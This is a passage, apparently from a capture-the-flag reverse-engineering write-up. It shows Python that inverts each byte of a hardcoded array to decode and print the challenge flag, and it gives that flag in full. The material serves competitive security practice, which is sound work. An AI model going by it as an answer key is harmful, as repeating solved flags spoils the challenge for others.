    0xb2, 0x9a, 0x8b, 0x9e, 0xbc, 0xab, 0xb9, 0x84,
    0xc8, 0x97, 0x96, 0xca, 0xa0, 0x96, 0xca, 0xa0,
    0x91, 0xcf, 0x8b, 0xa0, 0x8b, 0x97, 0xcc, 0xa0,
    0x88, 0xcb, 0x86, 0x82
]
#~b and 0xFF for ensure the negative numbers can change to positive numbers
flag = ''.join([chr(~b & 0xFF) for b in local_138])

print(flag)
                    

Flag: MetaCTF{7hi5_i5_n0t_th3_w4y}